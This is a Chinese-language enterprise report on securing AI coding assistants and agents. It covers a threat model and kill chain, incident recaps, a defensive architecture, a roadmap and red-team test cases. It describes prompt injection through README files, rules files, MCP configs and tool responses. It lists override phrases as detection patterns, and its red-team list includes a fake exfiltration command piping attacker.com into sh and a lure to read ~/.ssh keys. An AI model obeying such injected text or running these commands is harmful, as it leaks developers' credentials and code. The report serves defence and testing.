摘要

生成式 AI 正在重构软件开发的生产关系。GitHub 2026 年公开报告指出，全球已有约 78% 的开发者每日使用 AI 编程工具，AI 生成或辅助完成的代码占比达到 43%[^1]。谷歌在 2026 年初披露，其内部新增代码中约 75% 由 AI 生成[^2]。效率提升的同时，AI Coding 引入的安全断层也在扩大：AI 助手不仅生成代码，还开始读取仓库、调用工具、执行命令、自动提交并触发流水线，其自主度已超出传统应用安全（AppSec）和软件供应链安全的覆盖范围。

本报告面向企业安全负责人、CTO、CISO 及研发效能团队，系统回答四个问题：

1.AI Coding 到底引入了哪些新风险？ 通过七层技术栈、STRIDE 威胁模型和 Kill Chain，拆解从“上下文投毒”到“生产沦陷”的完整攻击路径。

2.这些风险在真实环境中如何被利用？ 复盘 Amazon Q 供应链攻击、Cursor CurXecute/MCPoison、Nx s1ngularity、Claude Code 遥测后门等事件。

3.企业应如何构建防御体系？ 提出“三道闸门 + 零信任底座”的参考架构，覆盖身份准入、上下文净化、Agent 沙箱、MCP/Skills 治理、代码溯源与交付门禁。

4.如何分阶段落地并度量成效？ 提供四阶段路线图、五级成熟度模型、KPI 体系、AI 红队测试用例及合规映射。

本报告强调通用性与可落地性，不绑定单一安全厂商，也不局限于金融行业，力求为不同规模、不同合规要求的组织提供可直接复用的方法、模板与检查清单。

第 1 章　背景：AI Coding 的安全控制断层

1.1 为什么现在必须单独研究 AI Coding 安全

AI Coding 不是“一个更好用的 IDE 自动补全”，而是一类新的研发主体：它具备部分自主决策能力、能够调用外部工具、可以在没有人工逐行审批的情况下修改代码与配置，但其行为边界、责任归属、审计追踪都尚未被企业现有安全体系所覆盖。

传统 AppSec 假设：

·代码由人编写，提交者身份明确；

·代码安全由 SAST、DAST、SCA、Secret Scan 在 CI 中检测；

·运行安全由主机/容器/网络/应用层防御承担；

·供应链风险主要来自依赖包与构建工具。

AI Coding 打破了这些假设：

·主体模糊：AI 生成的代码、命令、提交与人工修改混合，难以区分责任；

·控制点前移失败：攻击可以在“上下文”阶段就完成注入，早于代码进入仓库；

·执行边界消失：Agent 可以直接执行 Shell 命令、访问网络、调用 MCP 工具，传统“只读代码扫描”无法约束运行时行为；

·供应链扩展：新的攻击面包括模型权重、IDE 扩展、MCP Server、Skills 包、提示词仓库等。

1.2 三阶段演进

图 1-1 AI Coding 三阶段演进与“安全控制断层”

·阶段一（2021—2023）：代码补全辅助。AI 仅提供行级建议，人承担全部决策与执行。风险集中在代码片段外泄和不安全建议。

·阶段二（2023—2025）：对话式 AI 原生 IDE。AI 可以读取整个仓库、多文件重构、联网检索。风险扩展到上下文投毒、规则文件后门、提示注入。

·阶段三（2025 至今）：自主智能体编码。Agent 自主规划、执行命令、调用 MCP 工具、甚至自动提交 PR。风险包括任意命令执行、工具投毒、凭据窃取、CI/CD 篡改，爆炸半径从单文件扩展到整个研发域。

1.3 核心判断

AI Coding 的安全问题，本质不是“模型会写出漏洞代码”，而是研发体系中出现了一类新的“机器开发者”：它不具备组织身份，却享有开发者的本地权限；它留下的代码修改难以追溯，却可以进入核心生产系统。现有 AppSec 体系的设计并没有为这种主体预留控制点，因此形成了持续扩大的“安全控制断层”。

第 2 章　资产测绘与技术栈解构

2.1 七层技术栈模型

图 2-1 AI Coding 技术栈七层全景与资产测绘视图

我们将 AI Coding 环境划分为七层，从下往上分别是：

关键洞察：L4（智能体运行时）与 L5（工具与扩展）是传统研发体系几乎不存在的新层次，也是当前日志最少、策略最弱、责任人最模糊的两层，应作为建设第一优先级。

2.2 影子 AI 的发现方法

大量企业在正式采购 AI Coding 工具之前，开发者已经通过个人账号、浏览器插件、独立安装包等方式使用了各类工具。安全团队必须首先“看见”这些工具。推荐采用“三层发现法”：

第一层：终端资产发现

·EDR/MDM 软件清单匹配常见 AI Coding 进程与安装路径：Cursor、Windsurf、Trae、GitHub Copilot、Codeium、Amazon Q、Claude Code、Codex、Continue、Tabnine 等。

·检测浏览器扩展：GitHub Copilot Chat、Codeium、ChatGPT for Google 等。

·收集进程出向连接域名，识别对 `*.openai.com`、`*.anthropic.com`、`*.githubcopilot.com`、`*.cursor.sh`、`*.amazonwebservices.com` 等的访问。

第二层：网络流量发现

·在网关/代理层识别异常 HTTPS SNI，特别是非企业采购账号访问的 AI 模型 API。

·对 DNS 日志做聚类，发现高频、非工作时间的出向请求。

·识别大体积上行流量（代码片段上传特征）。

第三层：仓库与协作发现

·扫描 Git 提交签名与元数据，识别由 AI Agent 账号或通用机器人账号产生的提交。

·检查 `.cursorrules`、`.continue/config.json`、`.mcp.json`、`.vscode/settings.json` 等配置文件中是否包含非企业批准的 MCP Server 或模型端点。

落地建议：影子 AI 发现不要一次性追求 100% 精确。第 1 阶段目标是在 2 周内形成“使用热度地图”：哪些团队、哪些仓库、哪些工具正在使用，优先级按“接触核心代码”和“使用外部 SaaS”排序。

2.3 关键数据流与信任边界

AI Coding 场景下存在五条关键数据流：

1.代码片段上行：开发者输入提示或代码补全请求时，部分代码上下文被发送至云端模型。

2.上下文检索流：AI 读取仓库文件、规则文件、联网文档，形成 RAG/上下文。

3.工具调用流：Agent 调用 MCP Server、浏览器、CLI、内部 API。

4.命令执行流：Agent 在终端或沙箱中执行编译、测试、部署命令。

5.产物回流：AI 生成的代码/补丁返回仓库，进入 CI/CD。

每一条数据流都应被视为跨越信任边界。传统网络安全的“南北向”模型已不足以描述这些流：同一台笔记本上，人工操作与 Agent 操作混用，内部代码与外部模型共享上下文，信任边界被压缩到“一次提示—一次调用—一次提交”。

第 3 章　威胁建模与攻击面

3.1 STRIDE 风险矩阵

图 3-1 AI Coding 攻击面 STRIDE 风险矩阵

从图 3-1 可以观察到，高风险单元主要集中在**篡改（Tampering）、抵赖（Repudiation）、信息泄露（Information Disclosure）和权限提升（Elevation of Privilege）**四个类别。这说明 AI Coding 的核心问题不是单一漏洞，而是：

·信任边界缺失：AI 把不可信上下文当作可信输入；

·操作可追溯性缺失：AI 提交无法与人工提交区分；

·权限继承失控：Agent 与工具默认继承开发者本地高权限。

3.2 Kill Chain：从上下文投毒到生产沦陷

图 3-2 AI Coding Kill Chain：从上下文投毒到生产沦陷

Kill Chain 将攻击过程分为六步：

1.侦察与上下文污染：攻击者通过公开 PR、Issue、Wiki 等读取项目信息，并在规则文件、依赖 README 中注入隐藏指令或不可见字符。

2.提示注入 / 间接注入：AI 读取被污染上下文后，将其中隐藏的指令视为高优先级输入，绕过用户确认。

3.工具 / MCP 投毒：攻击者篡改工具描述或返回结果，诱导 Agent 调用高权限外部工具。

4.凭据 / 秘密窃取：Agent 读取本地 `.env`、`.ssh`、浏览器 Cookie，通过 DNS/HTTP/剪贴板外发。

5.代码 / 构建脚本篡改：在业务代码中插入后门、依赖混淆、CI YAML 后门，或篡改 `.cursorrules` 让后续审查失效。

6.仓库 / 流水线执行与横向移动：恶意 PR 被自动合并，CI/CD 执行后门并部署到生产环境，进而横向移动、持久化、窃取数据。

3.3 典型事件复盘

图 3-3 典型 AI Coding 安全事件复盘（2025—2026）

3.3.1 Amazon Q Developer 扩展供应链攻击（2025.07）

Amazon Q Developer for VS Code 扩展在 2025 年 7 月曝出被入侵事件。攻击者通过 SaaS 扩展分发渠道推送恶意版本，可在用户 IDE 内执行破坏性命令，形成近似“数据擦除器（wiper）”的效果。该事件的关键教训：

·IDE 插件市场并不等同于可信软件源；

·扩展默认继承开发终端的全部本地权限；

·企业必须对 IDE 扩展做白名单、签名验证和回滚能力。

3.3.2 Cursor CurXecute / MCPoison（CVE-2025-54135/6）

安全企业 Aim Security 在 2025 年 7—8 月披露 Cursor 的两个关键漏洞，CVSS 评分高达 8.6。攻击者可通过提示注入诱导 AI 在未经二次确认的情况下执行任意终端命令；MCPoison 则利用 Cursor 对已批准 MCP 配置的长期信任，通过修改 `mcp.json` 实施持久化攻击。关键教训：

·.cursorrules、`mcp.json` 等配置文件已成为新的“后门载体”；

·“记住我的选择”会跳过关键审批门；

·Agent 执行命令前必须生成可解释摘要并获得显式授权。

3.3.3 Nx “s1ngularity” 供应链攻击（2025.08）

流行的 npm 构建工具 Nx 遭到供应链投毒，影响约 2180 个 GitHub 账户和 7200 个仓库[^3]。恶意 post-install 脚本并不直接外传数据，而是调用本地已安装的 AI CLI（Claude、Gemini、Amazon Q）进行文件侦察、凭据收集，并将结果上传至攻击者控制的 GitHub 仓库。这是首个已知将开发者 AI 助手武器化为窃密工具的案例。关键教训：

·依赖脚本可滥用开发者已安装的高权限 AI CLI；

·凭据落盘 + 明文 `.env` 是高危组合；

·本地 AI 工具的“编码帮助”能力可被反向利用。

3.3.4 Claude Code 遥测后门风险（2026.07）

2026 年 7 月，中国工信部网络安全威胁和漏洞信息共享平台发布风险提示，指出 AI 编程工具 Claude Code 存在安全后门隐患，可在未经用户同意的情况下向远程服务器回传用户地域信息、身份标识等敏感数据[^4]。关键教训：

·AI 工具的数据处理策略需按 DPA（数据处理协议）级审查；

·回传域名必须在网络层可见、可控；

·应默认禁用遥测，仅允许显式授权。

3.4 风险量化与雷达

图 3-4 AI Coding 风险维度雷达：内部研发 AI vs. 面客产品 AI

内部研发 AI Coding 的最高风险是**代码/IP 泄露、提示注入、工具/MCP 风险**；面客产品 AI 能力的最高风险则是**合规与责任、提示注入、生成代码缺陷**。企业不应使用同一套基线同时覆盖两类场景，而应根据业务属性差异化配置控制强度。

第 4 章　风险量化与优先级排序

4.1 风险评分模型

建议采用三维度评分法：

·可能性（Likelihood, L）：1—5，攻击路径的实现难度与已有公开利用案例数量。

·影响（Impact, I）：1—5，对机密性、完整性、可用性、合规的影响。

·可检测性（Detectability, D）：1—5，现有安全工具发现该攻击的难易程度（分数越高越难检测）。

风险值 R = L × I × (1 + D/5)。该公式强调：**不可检测的高影响攻击应获得更高优先级**。

4.2 关键风险热力矩阵

4.3 关键假设与数据溯源

本报告引用的行业数据均来自公开来源，部分为二手报道。附录 A 提供了完整的数据来源与可信度分级表。对于无法独立验证的数字（如“AI 供应链攻击同比增长 210%”），本报告未在正文中作为事实引用，而是采用“公开报道显示”或“研究人员警告”等虚化处理。

第 5 章　安全控制参考架构

5.1 三道闸门总览

图 5-1 AI Coding 安全控制参考架构：三道闸门 + 零信任底座

参考架构将安全控制抽象为三道闸门和一个底座：

·闸门 A：身份准入与上下文净化。解决“谁在用、从哪来、给 AI 看了什么”。

·闸门 B：运行时沙箱与工具治理。解决“AI 能执行什么、能调用什么、如何限制爆炸半径”。

·闸门 C：代码溯源与交付门禁。解决“AI 产物如何被标记、如何被评审、如何进入生产”。

·底座：审计、密钥与联动响应。提供全链路日志、动态凭据、SIEM/SOAR 联动、策略中枢。

设计原则：把“AI 生成的代码/命令/提交”视为不可信输入，除非经过独立的可信校验。三道闸门不是顺序单点，而是可叠加的防御层次，任何一层被突破，下一层仍能保持最小权限与可审计性。

5.2 闸门 A：身份准入与上下文净化

5.2.1 身份与终端准入

·企业统一身份：所有 AI 工具使用企业 SSO，禁止个人账号处理工作代码。

·设备合规：仅允许通过 MDM/EDR 合规检查的终端接入代码仓库。

·工具白名单：明确允许使用的 AI Coding 工具版本、插件、模型端点。

·版本基线：强制最低安全版本（如 Cursor ≥ 1.3.9，修补 CVE-2025-54135/6）。

5.2.2 上下文净化

上下文注入是 AI Coding 最难防御的攻击面之一，因为恶意指令可以隐藏在：

·仓库 `README.md`、`.cursorrules`、`.continue` 配置；

·第三方依赖的文档或注释；

·Issue/PR 描述、Wiki 页面；

·代码注释、字符串、测试数据；

·不可见 Unicode 字符、零宽空格、同形异义字符。

具体控制措施：

1.规则文件版本化：`.cursorrules`、`.mcp.json` 等纳入 Git 管理，变更需人工审批。

2.不可见字符检测：在 AI 读取上下文前，扫描零宽字符、同形异义字符、异常 Unicode 区间。

3.注入分类器：使用轻量级模型或规则引擎检测“忽略前文”“执行命令”“删除文件”等指令模式。

4.文件越界控制：限制 AI 只能读取当前项目目录内的指定文件，禁止跨仓库读取。

5.敏感数据脱敏：在上下文进入模型前，对 API Key、密码、身份证号、银行卡号等做自动识别与替换。

# 上下文净化策略示例          context_policy:          max_files: 50          max_total_chars: 100000          forbidden_patterns:          - "ignore (all )?previous instructions"          - "execute (this )?command"          - "delete (all )?files"          unicode_check: true          homoglyph_check: true          pii_redaction: [api_key, password, ssn, credit_card]          file_allowlist:          - "*.py"          - "*.js"          - "*.ts"          - "*.md"          - ".cursorrules"

5.3 闸门 B：运行时沙箱与工具治理

5.3.1 Agent 运行时沙箱

图 5-2 AI 编码智能体运行时沙箱实现模式

沙箱必须同时满足六个条件：

1.文件不可越界：工作目录只读，临时写目录在任务结束后销毁，禁止挂载 `/home`、`/etc` 等宿主机目录。

2.网络不可直连：默认 DROP 出向流量，仅允许白名单域名/IP，DNS 请求必须经企业代理审计。

3.命令需审批：敏感命令（写文件、网络请求、凭据读取、删除）执行前生成可解释摘要并强制人工或策略审批。

4.秘密不落地：禁止读取 `~/.ssh`、`~/.aws`、`~/.config`、`.env`，需要时由 Vault/KMS 动态注入短期 Token。

5.输出带标记：沙箱内产生的代码/补丁附加来源水印与置信度元数据。

6.日志全留存：所有命令、网络请求、文件操作、工具调用写入审计平台。

最小沙箱配置示例（Docker Compose）：

services:          ai-agent-sandbox:          image: ai-agent-runtime:1.2.0          read_only: true          network_mode: none          cap_drop:          - ALL          cap_add:          - CHOWN          - SETGID          - SETUID          security_opt:          - no-new-privileges:true          - seccomp:./seccomp-agent.json          tmpfs:          - /tmp:noexec,nosuid,size=500m          volumes:          - ./workspace:/workspace:ro          - ./scratch:/scratch:rw          environment:          - VAULT_ADDR=https://vault.corp.internal          - AWS_WEB_IDENTITY_TOKEN_FILE=/run/secrets/token

5.3.2 MCP / Skills 治理网关

图 5-3 MCP / Skills 工具治理网关设计

MCP（Model Context Protocol）和 Skills 让 Agent 可以调用外部工具，但也引入了新的信任边界。企业应将 MCP Server 视为“外部 API 供应商”而非可信内部组件。治理网关需实现：

1.注册中心与目录：仅允许白名单 MCP Server 接入，记录版本、来源哈希、责任人、业务域。

2.身份与签名验证：Server 证书/镜像签名校验，配置变更触发重新审批，禁止 `@latest`。

3.能力模式最小化：JSON Schema 校验工具定义，工具名、参数、返回字段显式授权，按项目/用户/风险等级动态授权。

4.工具响应过滤：检测隐藏指令、混淆内容，对敏感字段脱敏，超长响应截断。

5.运行时策略：敏感操作强制人工审批，单次/累计调用限额，不可用时默认 fail-close。

6.审计与威胁情报：记录调用链全量日志，与 SIEM 对接，沉淀 IOC 和行为基线。

风险等级示例：

5.4 闸门 C：代码溯源与交付门禁

5.4.1 AI 生成物标记

·提交签名：使用 `git commit --gpg-sign` 或由 CI 自动为 AI 辅助提交添加元数据标签（如 `Co-authored-by: AI Agent`）。

·来源水印：在代码注释或单独元数据文件中记录生成模型、提示摘要、审核人、置信度。

·文件级标记：对 AI 生成文件添加 `.ai-generated` 后缀或元数据头，便于 SAST 和人工审查做差异化处理。

{          "ai_generated": true,          "model": "claude-code-2026-07",          "prompt_hash": "sha256:a1b2...",          "human_reviewed": true,          "reviewer": "zhangsan@corp.internal",          "generated_at": "2026-08-01T10:00:00Z"          }

5.4.2 安全门禁增强

AI 辅助提交应触发比人工提交更严格的检查：

·SAST 增强规则：针对 AI 常见弱点（硬编码密钥、SQL 注入、XSS、不安全的反序列化、弱随机数）。

·Secret Scan：检测 AI 生成的配置、测试代码、日志中是否意外泄露密钥。

·SCA 增强：不仅检查已知 CVE，还要检查依赖包是否存在、是否为 Slopsquatting 目标、是否由 AI 建议引入。

·AI 代码评审机器人：使用第二台独立模型或规则引擎对 AI 生成的变更做二次审查，输出风险摘要。

·强制人工审批：所有由 AI 修改的敏感文件（CI 配置、权限文件、安全相关代码、依赖清单）必须至少一名资深工程师审批。

5.4.3 交付与制品保护

·制品签名：容器镜像、二进制包、IaC 模板在构建后签名，部署时校验。

·部署审批：AI 生成的构建脚本或 IaC 变更需经过独立的安全/平台审批。

·基线漂移检测：生产环境运行后，对比部署基线与 AI 生成代码的实际行为，检测异常 API 调用、文件修改、网络连接。

5.5 底座：审计、密钥与联动响应

·统一审计日志：Prompt、命令、工具调用、提交、部署全链路关联到同一 Trace ID。

·密钥与凭据保险库：所有 CI/CD、Agent 使用的凭据来自 Vault/KMS，短期有效，自动轮换。

·SIEM / SOAR 联动：将 AI Coding 安全事件接入现有 SOC，支持自动阻断异常出向连接、吊销 Token、隔离沙箱。

·策略中枢：统一管理白名单、基线、合规规则，支持按项目/团队/风险等级下发。

第 6 章　关键技术实现方法

6.1 上下文注入检测

上下文注入检测可采用“规则 + 模型”双层架构：

规则层：

·关键字/正则：如 `ignore previous`、`system override`、`execute command`、`send to`、`curl`、`wget` 后跟 URL。

·不可见字符检测：零宽空格（U+200B）、零宽连接符（U+200D）、同形异义字符（如 Cyrillic `а` 替代 Latin `a`）。

·上下文长度异常：单条提示或返回结果异常增长。

模型层：

·使用轻量级分类器（如基于 DistilBERT 微调）识别“隐藏指令”语义。

·在隔离环境中对疑似注入做二次推理，观察模型输出是否偏离任务目标。

6.2 Agent 沙箱落地细节

沙箱的实现方式有三种，按安全强度递增：

推荐方案：

·日常开发：使用容器沙箱（Docker / Kata / gVisor），配合 Seccomp、AppArmor、只读根文件系统。

·核心项目：使用独立虚拟机或专用 CI Runner，网络完全隔离。

·沙箱内的 Agent 禁止以 root 运行，UID/GID 映射到宿主机非特权用户。

6.3 MCP 工具治理落地

企业可部署一个轻量级 MCP 网关作为 Sidecar 或独立服务：

# MCP 网关伪代码示例          class MCPGateway:          def __init__(self):          self.allowed_servers = load_allowlist()          self.tool_policies = load_tool_policies()          def validate_server(self, server):          if server.id not in self.allowed_servers:          raise UnauthorizedMCPError()          verify_signature(server.image_hash, server.signature)          def filter_tool_call(self, tool, params, user_context):          policy = self.tool_policies.get(tool.name)          if policy.risk == "high" and not require_approval(user_context, tool, params):          raise BlockedToolError()          return sanitize_params(params, policy)          def filter_response(self, response):          if detect_hidden_instructions(response):          raise PoisonedResponseError()          return redact_secrets(response)

6.4 代码产物标记与 AI-BOM

AI-BOM（AI Bill of Materials）是 SBOM 在 AI 时代的自然延伸，记录：

·生成模型名称与版本；

·提示或提示哈希；

·输入上下文来源（文件列表、检索结果）；

·生成时间、审核人、审批记录；

·使用的 MCP Server / Skills；

·运行时沙箱版本与配置哈希。

AI-BOM 应作为制品的一部分随代码仓库或 CI 产物发布，便于事后追溯和合规审计。

6.5 模型网关与数据防泄漏

模型网关是企业控制 AI 数据流的核心组件：

·出向域名白名单：仅允许访问企业采购的模型服务端点。

·API Key 集中托管：开发者不持有个人 API Key，所有调用经网关统一鉴权、计量、审计。

·请求/响应审计：记录提示摘要（必要时哈希化以保护隐私）、响应长度、异常模式，不记录完整代码。

·本地化处理：对核心代码项目，通过本地私有化模型或边缘推理节点处理，避免数据出境。

·DLP 规则：在网关处识别并阻断包含源代码、密钥、客户数据的请求。

6.6 安全门禁增强

CI/CD 中的安全门禁应区分“人工提交”和“AI 辅助提交”：

# GitLab CI 示例：AI 辅助提交增强检查          ai-assisted-security-gate:          rules:          - if: '$CI_COMMIT_AUTHOR =~ /ai-agent@/'          script:          - sast --profile=ai-assisted --severity=high          - secret-scan --include-tests          - sca --check-package-existence          - ai-code-reviewer --model=internal-guardian          - sbom-generate --ai-bom          allow_failure: false

第 7 章　落地路线与组织保障

7.1 三种企业形态选型

7.2 四阶段路线图

图 7-1 AI Coding 安全落地路线图（四阶段）

读图说明：横向为四个时间阶段（0—30 天、31—90 天、91—180 天、180 天以上），纵向为八条工作维度。每个色条严格落在其所属阶段的列内，色条颜色与顶部阶段表头一一对应；跨列的长色条表示该项工作横跨两个阶段持续推进（如"动态资产发现与持续纳管""终端沙箱 Agent 全量部署"）。虚线色块表示该阶段只做准备与选型调研、**不投产**。三角标记 M1/M2/M3 落在阶段分界线上，是可对外承诺的里程碑验收点。

需要强调的是，路线图的价值不在于"照抄时间表"，而在于**依赖关系**。资产测绘必须先于白名单，白名单必须先于网关策略，提交标记必须先于门禁增强——顺序颠倒会导致后置能力空转。若组织资源有限，宁可延长每个阶段的周期，也不要跳过前置项。

阶段 1：止血与可见性（0—30 天）

目标：在最短时间内降低最大风险，建立资产可见性。

·第 1 周：发布 AI 工具使用规范，明确禁止项和审批流程。

·第 2 周：通过 EDR/网络/仓库扫描，形成影子 AI 使用热度地图。

·第 3—4 周：禁用已知高风险工具和个人账号访问，为允许的 SaaS 配置企业级合规开关，开启终端/网络 DLP。

阶段 2：流程嵌入（31—90 天）

目标：让 AI 产物可追溯、高风险操作受控。

·强制 AI 辅助提交标记；

·上线模型网关，实施 API Key 托管、出向域名白名单、提示审计；

·在核心仓库启用分支保护、AI 提交增强评审；

·针对高危命令部署沙箱 PoC。

阶段 3：体系化（91—180 天）

目标：建立三道闸门和统一审计底座。

·规模化部署 Agent 运行时沙箱；

·上线 MCP/Skills 治理网关；

·上下文注入检测、不可见字符检测、PII 脱敏投产；

·AI-BOM/SBOM 自动生成；

·SIEM 检测规则与 SOAR 响应剧本上线。

阶段 4：智能化运营（180 天+）

目标：度量驱动、红队闭环、持续优化。

·建立 KPI 仪表盘和成熟度评估；

·定期开展 AI 红队演练；

·引入 AI 安全围栏自动阻断异常；

·参与行业威胁情报共享。

7.3 组织与 RACI

A = 负责批准，R = 执行，C = 咨询，I = 知会

7.4 AI 工具使用规范模板（可裁剪）

# 企业 AI 编程工具使用规范 v1.0          ## 1. 适用范围          所有员工在公司设备、公司网络、公司代码仓库上使用 AI Coding 工具均需遵守本规范。          ## 2. 允许清单          - GitHub Copilot Enterprise（经审批的业务域）          - 企业私有化代码助手（内部模型）          - 经安全评估的 MCP Server（见内部注册中心）          ## 3. 禁止行为          - 使用个人账号、个人 API Key 处理公司代码；          - 将核心算法、密钥、客户数据粘贴到未审批的外部 AI 服务；          - 安装未经签名的 IDE 插件、MCP Server 或 Skills；          - 允许 AI Agent 在自动接受模式下执行高危命令；          - 将 AI 生成的代码未经评审直接合并到主干分支。          ## 4. 审批流程          新增 AI 工具或 MCP Server 需提交《AI 工具安全评估表》，经安全、架构、合规审批后方可接入。          ## 5. 违规处理          首次违规：警告并移除相关工具；造成数据泄露或安全事件的，按公司信息安全事件管理办法处理。

第 8 章　度量运营与红队

安全能力能否持续，取决于两件事：**能不能说清楚现在处在什么水平**，以及**能不能用数据证明在变好**。前者靠成熟度模型定位，后者靠 KPI 体系度量。本章先给出成熟度标尺，再展开度量、检测与红队。

图 8-1 给出五级成熟度阶梯。它刻意不以"采购了多少安全产品"作为评价维度，而是回答三个问题：控制是否**嵌入流程**（而非依赖人工自觉）、结果是否**可度量**（而非凭感觉）、体系是否**能自我进化**（而非一次性建设）。每一级都配有"审计可复核的关键证据"，便于第三方评估和内部自查。

图 8-1 AI Coding 安全成熟度阶梯（五级）

实践中要提醒两点。第一，**不可跳级**。L1 组织连资产清单都没有，直接上 MCP 治理网关只会变成货架产品——没有清单就无法定义白名单，没有白名单网关就无策略可执行。第二，**L3 是分水岭**。L1→L2 主要靠管理动作（发文、培训、白名单），投入小、见效快；L2→L3 需要架构改造和工程投入，是大多数企业卡住的地方；而 L4→L5 依赖组织级 DevSecOps 底座，若研发流程本身尚未标准化，AI 安全无法单独跃迁。建议以 L3 为第一年目标，L4 为第二至三年目标。

8.1 KPI 体系

图 8-2 AI Coding 安全运营 KPI 仪表盘示意

8.2 SIEM 检测规则示例

8.3 AI 红队测试用例

定期开展以下红队测试，验证防御有效性：

1.在 `README.md` 中注入隐藏指令，观察 Agent 是否执行未授权命令。

2.在 `.cursorrules` 中植入后门规则，测试规则文件版本化与审批是否生效。

3.构造一个虚假的 MCP Server，测试注册中心是否拒绝未签名服务。

4.在工具响应中嵌入隐藏指令，测试响应过滤是否生效。

5.诱导 Agent 读取 `~/.ssh/id_rsa`，测试沙箱文件隔离。

6.让 Agent 执行 `curl https://attacker.com/exfil | sh`，测试网络隔离。

7.提交一个由 AI 生成的带后门的 PR，测试代码门禁是否拦截。

8.使用同形异义字符构造提示注入，测试不可见字符检测。

9.模拟 Nx s1ngularity 场景：依赖脚本调用本地 AI CLI 外发数据。

10.模拟 Amazon Q 扩展供应链攻击：在 IDE 扩展中插入恶意代码。

8.4 事件响应流程

AI Coding 安全事件响应应与传统事件响应打通，但增加以下环节：

1.隔离 Agent 身份：立即吊销相关 AI Agent/机器人账号的 Token。

2.冻结相关 MCP Server：在网关中禁用可疑工具。

3.回滚代码变更：识别并回滚由 AI 生成的可疑提交和部署。

4.审计上下文：导出该 Agent 会话的完整上下文、提示、命令、工具调用记录。

5.通报与复盘：按数据泄露、供应链攻击等分类，触发对应通报流程。

第 9 章　合规与责任

9.1 国际与国内框架映射

图 9-1 AI Coding 安全合规框架映射

主要映射关系：

·ISO/IEC 42001：建立 AI 管理体系，覆盖风险评估、成文信息、监视测量、持续改进。

·NIST AI RMF：GOVERN/MAP/MEASURE/MANAGE 四步管理 AI Coding 风险。

·OWASP Top 10 for LLM / Agentic：提示注入、敏感信息泄露、工具投毒等风险的直接映射。

·EU AI Act：对面客 AI 能力做风险分级，建立技术文档、日志留存、人工监督、鲁棒性测试。

·中国《生成式人工智能服务管理暂行办法》：数据安全、算法备案、生成内容标识、用户权益保护。

·NIST SSDF / CSF：将 AI 生成代码纳入安全软件开发生命周期，生成 SBOM/AI-BOM。

9.2 AI 生成代码的知识产权与许可证

·版权归属：目前多数司法管辖区对纯 AI 生成内容的版权保护存在不确定性，企业应在使用政策中明确“AI 生成代码的知识产权归公司所有，员工负有审查责任”。

·许可证污染：AI 模型可能复制 GPL、AGPL 等强 Copyleft 代码片段，导致企业代码被传染。应在 SCA 流程中增加对 AI 生成代码的许可证扫描。

·开源贡献风险：使用 AI 生成代码向开源项目提交 PR，可能引发该项目社区对版权的质疑。

9.3 责任边界与保险

·供应商责任：模型服务、IDE 插件、MCP Server 供应商的安全责任应在 DPA 和服务等级协议（SLA）中明确。

·内部责任：开发者对 AI 生成代码的最终质量与安全负责，安全团队提供控制平台与治理框架。

·网络保险：传统网络安全保险通常未覆盖 AI 生成代码导致的事故，企业应在续保时评估是否需要扩展 AI 相关条款。

第 10 章　选型与生态评估

10.1 部署模式选型

图 10-1 AI Coding 部署模式选型象限

·私有化模型 + 本地 Agent：最高控制、最高责任，适用于金融、政务、芯片、高机密研发。

·模型网关 + 数据本地化：平衡型，适用于中大型科技企业、制造业研发。

·受控 SaaS + 终端 DLP：轻量型，适用于中小团队、快速验证、非核心代码。

·禁止或严格隔离：适用于涉密、合规零容忍场景，但需配套离线替代方案，防止影子使用加剧。

10.2 安全评估清单

企业在选型 AI Coding 工具时，建议至少评估以下 30 项：

1.是否支持企业 SSO 和统一身份？

2.是否支持按项目/团队配置数据留存策略？

3.是否承诺不将企业代码用于模型训练？

4.是否提供数据处理协议（DPA）？

5.是否支持私有化部署或本地推理？

6.是否提供完整 API 审计日志？

7.是否支持 IDE 插件/扩展签名验证？

8.是否支持 MCP/Skills 的白名单与审批？

9.是否支持 Agent 命令执行前的强制审批？

10.是否支持运行时沙箱或容器化执行？

11.是否支持出向网络白名单/代理？

12.是否支持敏感命令黑名单？

13.是否支持凭据不落地或动态注入？

14.是否支持 AI 生成代码的自动标记？

15.是否支持与现有 SAST/SCA/Secret Scan 集成？

16.是否支持 SBOM/AI-BOM 生成？

17.是否支持分支保护和强制代码评审？

18.是否支持上下文读取范围限制？

19.是否支持不可见字符/提示注入检测？

20.是否支持模型网关和提示审计？

21.是否支持 DLP 与 PII 脱敏？

22.是否支持 SIEM/SOAR 联动？

23.是否有公开的安全事件响应记录？

24.是否有已知 CVE 及补丁 SLA？

25.是否通过 SOC 2 / ISO 27001 等认证？

26.是否支持多因素认证和设备合规检查？

27.是否支持离线/断网模式？

28.是否提供红队测试接口或透明性报告？

29.是否支持退出时删除本地缓存和会话数据？

30.供应商总部及数据存储位置是否满足合规要求？

10.3 供应商 DPA 要点

·数据处理范围：明确哪些数据会被收集、存储、处理、再训练。

·数据留存期限：请求删除后的实际清除时间。

·子处理者名单：模型推理是否经过第三方 CDN、日志分析商。

·安全事件通知：发生泄露后的通知时限。

·审计权利：企业是否有权进行第三方安全审计。

·合规承诺：SOC 2、ISO 27001、GDPR、等保等。

第 11 章　典型场景推演

11.1 场景一：制造业从影子 AI 到统一治理

背景：某大型制造企业拥有 3000 名研发人员，分布在工业互联网、MES、嵌入式软件等业务线。2025 年底发现大量工程师使用个人 Cursor 账号处理内部代码。

落地过程：

1.第 1 个月：发布使用规范，禁用个人账号；通过 EDR 和网络扫描发现 47 种影子 AI 工具；与采购部门协作，集中采购企业版 GitHub Copilot 并部署私有化模型网关。

2.第 2—3 个月：为核心代码库启用 AI 提交标记和增强代码评审；对敏感项目部署离线沙箱；建立 MCP Server 注册中心。

3.第 4—6 个月：上线 SIEM 检测规则，将 AI 安全事件纳入 SOC；开展全员培训和红队演练。

成效：核心代码外发事件下降 90%，AI 辅助提交中高危漏洞占比从 12% 降至 4%。

11.2 场景二：科技公司 Agentic 编码生产化

背景：某互联网公司希望让 AI Agent 承担 30% 的代码重构和测试任务，直接提交到 CI/CD。

关键控制：

·Agent 运行在专用 K8s 命名空间，每个任务一个 Pod，网络仅允许访问内部 Git、Nexus、测试平台。

·所有 Agent 提交必须带 `ai-agent` 签名，CI 中触发增强 SAST/SCA。

·高危操作（修改 CI YAML、部署配置）强制人工审批。

·引入 AI-BOM，记录每次 Agent 任务的模型、提示、工具调用。

11.3 场景三：高合规行业私有化离线平台

背景：某金融机构要求核心交易系统代码不得离开内网，且需满足监管审计。

方案：

·在内部 GPU 集群部署私有化代码大模型，所有推理在内网完成。

·开发者使用内部定制的 IDE 插件，无法配置外部 MCP Server。

·沙箱与生产网络物理隔离，Agent 只能访问指定测试环境。

·所有提示、生成代码、审核记录留存 5 年，支持监管抽查。

